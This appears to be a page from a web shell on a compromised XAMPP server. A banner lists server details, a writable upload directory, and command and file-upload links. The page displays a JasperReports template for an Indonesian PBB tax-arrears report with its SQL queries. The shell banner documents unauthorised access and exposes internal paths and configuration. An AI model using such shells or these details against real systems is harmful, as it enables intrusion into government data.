|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/bhumie/upload/../report/DaftarTunggakan/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?xml version="1.0" encoding="UTF-8"?>
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="lapPerKecamatan" language="groovy" pageWidth="595" pageHeight="842" columnWidth="539" leftMargin="28" rightMargin="28" topMargin="28" bottomMargin="28" uuid="25e2f9d5-cfed-4936-8743-efc205b54fea">
<property name="ireport.zoom" value="3.0"/>
<property name="ireport.x" value="0"/>
<property name="ireport.y" value="175"/>
<subDataset name="dataset1" uuid="86c06618-71f2-42bd-b346-273b6e543969">
<parameter name="kd_propinsi" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="kd_dati2" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="kd_kecamatan" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<queryString>
<![CDATA[select a.kd_propinsi|| ' - ' ||a.nm_propinsi as propinsi, b.kd_dati2 || ' - ' || b.nm_dati2 as dati2, c.kd_kecamatan|| ' - ' ||c.nm_kecamatan as kecamatan
from pbb.ref_propinsi a, pbb.ref_dati2 b, pbb.ref_kecamatan c
where a.kd_propinsi = $P{kd_propinsi} and
b.kd_dati2 = $P{kd_dati2} and
c.kd_kecamatan = $P{kd_kecamatan}]]>
</queryString>
<field name="propinsi" class="java.lang.String"/>
<field name="dati2" class="java.lang.String"/>
<field name="kecamatan" class="java.lang.String"/>
</subDataset>
<parameter name="pawal" class="java.lang.String"/>
<parameter name="buku" class="java.lang.String"/>
<parameter name="DEFA_VALUE" class="java.lang.Integer" isForPrompting="false">
<defaultValueExpression><![CDATA[new Integer("1")]]></defaultValueExpression>
</parameter>
<parameter name="kd_propinsi" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="kd_dati2" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="kd_kecamatan" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="pmin" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<parameter name="pmax" class="java.lang.String">
<defaultValueExpression><![CDATA[]]></defaultValueExpression>
</parameter>
<queryString>
<![CDATA[SELECT /*+ parallel(sppt,8) */
b.nm_kelurahan,
a.thn_pajak_sppt,
SUM(CASE
WHEN (date_part('year'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt)) * 12::double precision) > 24::double precision THEN round(24::numeric * 0.02 * a.pbb_yg_harus_dibayar_sppt::numeric)::double precision
WHEN (date_part('year'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt)) * 12::double precision) >= 12::double precision THEN round((date_part('month'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt))+ 1 + 12::double precision) * 0.02::double precision * a.pbb_yg_harus_dibayar_sppt::double precision)
WHEN (date_part('year'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt)) * 12::double precision) < 12::double precision THEN round((date_part('month'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt))+ 1::double precision) * 0.02::double precision * a.pbb_yg_harus_dibayar_sppt::double precision)
ELSE NULL::double precision
END) AS dip,
SUM((a.pbb_yg_harus_dibayar_sppt+(
CASE
WHEN (date_part('year'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt)) * 12::double precision) > 24::double precision THEN round(24::numeric * 0.02 * a.pbb_yg_harus_dibayar_sppt::numeric)::double precision
WHEN (date_part('year'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt)) * 12::double precision) >= 12::double precision THEN round((date_part('month'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt))+ 1 + 12::double precision) * 0.02::double precision * a.pbb_yg_harus_dibayar_sppt::double precision)
WHEN (date_part('year'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt)) * 12::double precision) < 12::double precision THEN round((date_part('month'::text, age(now()::timestamp without time zone, a.tgl_jatuh_tempo_sppt))+ 1::double precision) * 0.02::double precision * a.pbb_yg_harus_dibayar_sppt::double precision)
ELSE NULL::double precision
END
)
)) as bayar,
SUM(a.pbb_yg_harus_dibayar_sppt) as pbb_yg_harus_dibayar_sppt
FROM pbb.SPPT a inner join pbb.ref_kelurahan b on (a.kd_kecamatan = b.kd_kecamatan and a.kd_kelurahan = b.kd_kelurahan)
WHERE a.kd_propinsi = $P{kd_propinsi}
AND a.kd_dati2 = $P{kd_dati2}
AND a.kd_kecamatan = $P{kd_kecamatan}
AND a.status_pembayaran_sppt = '0'
AND a.tgl_jatuh_tempo_sppt < NOW()
AND cast(a.pbb_yg_harus_dibayar_sppt as numeric) between cast($P{pmin} as numeric) and cast($P{pmax} as numeric)
AND a.thn_pajak_sppt = $P{pawal}
group by b.nm_kelurahan,a.kd_kecamatan,
a.kd_kelurahan,a.thn_pajak_sppt
ORDER BY 1]]>
</queryString>
<field name="nm_kelurahan" class="java.lang.String"/>
<field name="thn_pajak_sppt" class="java.lang.String"/>
<field name="dip" class="java.lang.Double"/>
<field name="bayar" class="java.lang.Double"/>
<field name="pbb_yg_harus_dibayar_sppt" class="java.math.BigDecimal"/>
<variable name="NOURUT" class="java.lang.Integer" resetType="None" calculation="Count">
<variableExpression><![CDATA[$V{NOURUT}]]></variableExpression>
</variable>
<variable name="dip_2" class="java.lang.Double" resetType="Page" calculation="Sum">
<variableExpression><![CDATA[$F{dip}]]></variableExpression>
</variable>
<variable name="bayar_1" class="java.lang.Double" resetType="Page" calculation="Sum">
<variableExpression><![CDATA[$F{bayar}]]></variableExpression>
</variable>
<variable name="pbb_yg_harus_dibayar_sppt_3" class="java.lang.Double" resetType="Page" calculation="Sum">
<variableExpression><![CDATA[$F{pbb_yg_harus_dibayar_sppt}]]></variableExpression>
</variable>
<background>
<band splitType="Stretch"/>
</background>
<pageHeader>
<band height="209" splitType="Stretch">
<staticText>
<reportElement uuid="dbc2bc63-6caa-48a3-b9f1-dbe3ff9ed35f" x="6" y="73" width="77" height="15"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[Propinsi :]]></text>
</staticText>
<staticText>
<reportElement uuid="eff8e1cd-9da9-498e-8e78-14f2a9de9155" x="6" y="148" width="533" height="12"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[===============================================================================================================================================================]]></text>
</staticText>
<staticText>
<reportElement uuid="9cd07593-f3ab-4aec-96dd-ea6ddca0df01" x="154" y="10" width="206" height="14"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[LAPORAN TUNGGAKAN PEMBAYARAN PBB]]></text>
</staticText>
<staticText>
<reportElement uuid="c8d14193-4633-4e67-8c7d-41e47d76a02b" x="216" y="24" width="36" height="15"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[Tahun]]></text>
</staticText>
<staticText>
<reportElement uuid="49ece27d-4511-4133-8c98-c9fb6503622b" x="6" y="97" width="77" height="15"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[Kab / Kota :]]></text>
</staticText>
<staticText>
<reportElement uuid="ac67eac6-2830-41ef-9d9a-f0d413264435" x="6" y="122" width="74" height="15"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[Kecamatan :]]></text>
</staticText>
<textField>
<reportElement uuid="c2c414a7-b4b7-429a-bc16-2a72a2645ea4" x="252" y="24" width="32" height="15"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[$P{pawal}]]></textFieldExpression>
</textField>
<staticText>
<reportElement uuid="3798d931-29ec-4bcb-ad09-1bf781ade2cc" x="6" y="161" width="35" height="14"/>
<textElement textAlignment="Center">
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[NOMOR]]></text>
</staticText>
<staticText>
<reportElement uuid="c2825726-c10a-43dd-b6c0-2b70109c23b1" x="50" y="161" width="104" height="14"/>
<textElement textAlignment="Center">
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[KELURAHAN]]></text>
</staticText>
<staticText>
<reportElement uuid="96663cb0-a820-4dd8-b5ff-460eb28ab737" x="168" y="161" width="47" height="14"/>
<textElement textAlignment="Center">
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[TAHUN]]></text>
</staticText>
<staticText>
<reportElement uuid="eae106ed-7bde-4cf3-9b7f-4bbcc3a8bbc4" x="230" y="161" width="80" height="14"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[KETETAPAN PBB]]></text>
</staticText>
<staticText>
<reportElement uuid="90e1500f-f748-4d50-a52c-41a28251eff4" x="334" y="161" width="67" height="14"/>
<textElement textAlignment="Center">
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[DENDA]]></text>
</staticText>
<staticText>
<reportElement uuid="a7574066-de30-42b9-9e03-321fce172844" x="412" y="162" width="114" height="31"/>
<textElement textAlignment="Center">
<font fontName="Courier New" size="10"/>
</textElement>
<text><![CDATA[KETETAPAN PBB + DENDA]]></text>
</staticText>
<textField>
<reportElement uuid="f820f63a-3df0-432a-a2c5-934c5ddb3122" x="254" y="39" width="67" height="20"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[$P{buku}]]></textFieldExpression>
</textField>
<staticText>
<reportElement uuid="4ac5be8f-5493-4544-b28f-801ac2635695" x="215" y="39" width="40" height="20"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[Buku :]]></text>
</staticText>
<staticText>
<reportElement uuid="ddb8b5d8-2246-4f71-840d-5bcf34c0e0bf" x="6" y="193" width="533" height="12"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[===============================================================================================================================================================]]></text>
</staticText>
<componentElement>
<reportElement uuid="5dee543b-9d8a-42c2-85d6-efbc02307b49" x="6" y="72" width="520" height="65"/>
<jr:list xmlns:jr="http://jasperreports.sourceforge.net/jasperreports/components" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports/components http://jasperreports.sourceforge.net/xsd/components.xsd">
<datasetRun subDataset="dataset1" uuid="1169400a-1f79-4e30-9e1e-46894c074110">
<datasetParameter name="kd_propinsi">
<datasetParameterExpression><![CDATA[$P{kd_propinsi}]]></datasetParameterExpression>
</datasetParameter>
<datasetParameter name="kd_dati2">
<datasetParameterExpression><![CDATA[$P{kd_dati2}]]></datasetParameterExpression>
</datasetParameter>
<datasetParameter name="kd_kecamatan">
<datasetParameterExpression><![CDATA[$P{kd_kecamatan}]]></datasetParameterExpression>
</datasetParameter>
<connectionExpression><![CDATA[$P{REPORT_CONNECTION}]]></connectionExpression>
</datasetRun>
<jr:listContents height="65" width="520">
<textField>
<reportElement uuid="d2140876-920c-4807-a324-b8ae98f035dc" x="77" y="1" width="100" height="15"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[$F{propinsi}]]></textFieldExpression>
</textField>
<textField>
<reportElement uuid="06f43a7f-bef9-481a-9f05-9b4815565d6b" x="77" y="25" width="100" height="15"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[$F{dati2}]]></textFieldExpression>
</textField>
<textField>
<reportElement uuid="7025629f-6429-43f3-9e75-c808505c5a4d" x="77" y="50" width="100" height="15"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[$F{kecamatan}]]></textFieldExpression>
</textField>
</jr:listContents>
</jr:list>
</componentElement>
</band>
</pageHeader>
<detail>
<band height="28" splitType="Stretch">
<textField>
<reportElement uuid="042c86cf-cd74-446d-b839-53167f45015b" x="6" y="3" width="38" height="20"/>
<textElement textAlignment="Center">
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[new Integer($V{NOURUT}.intValue()+$P{DEFA_VALUE}.intValue())]]></textFieldExpression>
</textField>
<textField>
<reportElement uuid="74acd6da-76e6-40ef-8518-c6111d29ea24" x="50" y="3" width="104" height="20"/>
<textElement textAlignment="Center">
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[$F{nm_kelurahan}]]></textFieldExpression>
</textField>
<textField>
<reportElement uuid="4988617a-86ca-41d9-b8ce-88fd370f35dc" x="168" y="3" width="47" height="20"/>
<textElement textAlignment="Center">
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[$F{thn_pajak_sppt}]]></textFieldExpression>
</textField>
<textField>
<reportElement uuid="a2aedd92-9d32-4f0f-b709-11b1dc934fe7" x="230" y="4" width="80" height="20"/>
<textElement textAlignment="Right">
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[new java.text.DecimalFormat("#,##0").format($F{pbb_yg_harus_dibayar_sppt}.doubleValue()).replace(",",".")]]></textFieldExpression>
</textField>
<textField>
<reportElement uuid="b8c90d08-00e6-424b-aa07-732c93fe47ad" x="334" y="4" width="67" height="20"/>
<textElement textAlignment="Right">
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[new java.text.DecimalFormat("#,##0").format($F{dip}.doubleValue()).replace(",",".")]]></textFieldExpression>
</textField>
<textField>
<reportElement uuid="80e17e17-d619-4016-aac8-45aac1790b74" x="412" y="4" width="114" height="20"/>
<textElement textAlignment="Right">
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[new java.text.DecimalFormat("#,##0").format($F{bayar}.doubleValue()).replace(",",".")]]></textFieldExpression>
</textField>
</band>
</detail>
<columnFooter>
<band height="25" splitType="Stretch">
<staticText>
<reportElement uuid="630269d3-2f9b-41f9-a51b-205ba17db446" x="6" y="2" width="134" height="15"/>
<textElement>
<font fontName="Courier New"/>
</textElement>
<text><![CDATA[TOTAL]]></text>
</staticText>
<textField>
<reportElement uuid="de61cf38-939f-4ae8-a0e4-a76d00876729" x="334" y="2" width="67" height="20"/>
<textElement textAlignment="Right">
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[new java.text.DecimalFormat("#,##0").format($V{dip_2}.doubleValue()).replace(",",".")]]></textFieldExpression>
</textField>
<textField>
<reportElement uuid="6e7331f1-8d00-4a99-8b15-37ca5bf4eaac" stretchType="RelativeToBandHeight" x="412" y="2" width="114" height="20"/>
<textElement textAlignment="Right">
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[new java.text.DecimalFormat("#,##0").format($V{bayar_1}.doubleValue()).replace(",",".")]]></textFieldExpression>
</textField>
<textField>
<reportElement uuid="4844c735-be64-42c3-9ef9-f7e9e65467f1" x="230" y="2" width="80" height="20"/>
<textElement textAlignment="Right">
<font fontName="Courier New"/>
</textElement>
<textFieldExpression><![CDATA[new java.text.DecimalFormat("#,##0").format($V{pbb_yg_harus_dibayar_sppt_3}.doubleValue()).replace(",",".")]]></textFieldExpression>
</textField>
</band>
</columnFooter>
</jasperReport>